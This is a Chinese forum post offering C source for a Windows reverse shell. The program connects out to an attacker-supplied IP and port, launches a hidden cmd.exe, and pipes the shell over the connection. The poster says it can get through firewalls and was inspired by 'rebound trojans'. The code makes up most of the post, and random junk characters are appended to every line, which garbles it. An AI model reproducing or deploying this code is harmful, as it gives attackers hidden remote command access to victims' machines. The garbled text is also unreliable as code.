社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3880阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M3Oqto<8"  
7mtX/w9  
/* ============================== 6o<(,\ad [  
Rebound port in Windows NT |(3"_  
By wind,2006/7 z#^;'nnw  
===============================*/ v:?l C<,  
#include BV=~ !tsl  
#include 1:22y:^j  
52t6_!y+V  
#pragma comment(lib,"wsock32.lib") aM YtWj  
e\r%"~v  
void OutputShell(); ?@CbaX~+K  
SOCKET sClient; P(cy@P,D  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; RAj>{/E#W  
h]pz12Yf  
void main(int argc,char **argv)  {[dY$  
{ AL;4-(KH  
WSADATA stWsaData; %uDH_J|^  
int nRet; "NtY[sT{V  
SOCKADDR_IN stSaiClient,stSaiServer; Eo>EK>  
\IZY\WU}2  
if(argc != 3) IR|#]en  
{ vKBi jmE  
printf("Useage:\n\rRebound DestIP DestPort\n"); 3<HZ)w^B  
return; AK(x;4  
} `k`P;(:  
Y&-% N  
WSAStartup(MAKEWORD(2,2),&stWsaData); ]i\;#pj}  
n&3}F?   
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z]R%'LGu  
Y`rli  
stSaiClient.sin_family = AF_INET; nt8& Mf  
stSaiClient.sin_port = htons(0); L}6!D zl  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9qUkw&}H  
mM.YZUX  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0+F--E4  
{ !<?<f db  
printf("Bind Socket Failed!\n"); <.&84c]/&  
return; 'OvM  
} !RSJb  
\3`r/,wY  
stSaiServer.sin_family = AF_INET; Lg{M<Q)4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  fj'7\[nZ  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )3k?{1:  
<QD[hO^/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [Qcht,\^v  
{ Z@} qL1  
printf("Connect Error!"); f+1@mGt  
return; ?AK`M #M  
} J4u>77I  
OutputShell(); </2 aQn  
} O L 9(~p  
["[v  
void OutputShell() )]kxLf#  
{ %77uc9}  
char szBuff[1024]; p>B-Ubu  
SECURITY_ATTRIBUTES stSecurityAttributes; <Xw\:5 F<7  
OSVERSIONINFO stOsversionInfo; _@W1?;yD  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FLX n%/  
STARTUPINFO stStartupInfo; )D ~ 5  
char *szShell; aYn5AP'PH  
PROCESS_INFORMATION stProcessInformation; ERia5HnoD,  
unsigned long lBytesRead; Zz"8  
Da8 |eN}   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4w)>}  
4AMe>s  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); U~USwUzgY  
stSecurityAttributes.lpSecurityDescriptor = 0; 3 &mpn,  
stSecurityAttributes.bInheritHandle = TRUE; Ft38)T"2R\  
Lv#0-+]$Bt  
mm;sf  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w!'y,yb%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); %%N T m  
xkv%4H>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n'0r (  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .f"1(J8  
stStartupInfo.wShowWindow = SW_HIDE; [S1 b\f#  
stStartupInfo.hStdInput = hReadPipe; \*[DR R0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; huW,kk<]y  
`jSegG'  
GetVersionEx(&stOsversionInfo); ea]qX6)UZ  
%z=:P{0UQ  
switch(stOsversionInfo.dwPlatformId) ja9=b?]0,  
{ Wf^ sl  
case 1: x-]:g&5T  
szShell = "command.com"; t+_\^Oa)  
break; D|ra ;d  
default: (cyvE}g  
szShell = "cmd.exe"; 6l[ v3l"t  
break; U!NuiKaQ26  
} zXD/hM  
M\-[C!h,  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); b3FKDm[  
R:$E'PSx  
send(sClient,szMsg,77,0); b b.UtoPz  
while(1) ~(8fUob  
{ >lKu[nq;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8&M<?oe  
if(lBytesRead) E- [Eg  
{ V:>r6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0N~kq-6.\  
send(sClient,szBuff,lBytesRead,0); qYJ<I'Ux O  
} /QWXEL/M=  
else Y[]I!Bc  
{ :)i,K>y3i  
lBytesRead=recv(sClient,szBuff,1024,0); } C:i0Q  
if(lBytesRead<=0) break; `hdff0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1YQYZ^11  
} mt$rjk=  
} '%wSs,HD  
v? OUd^  
return;  %S%IW  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五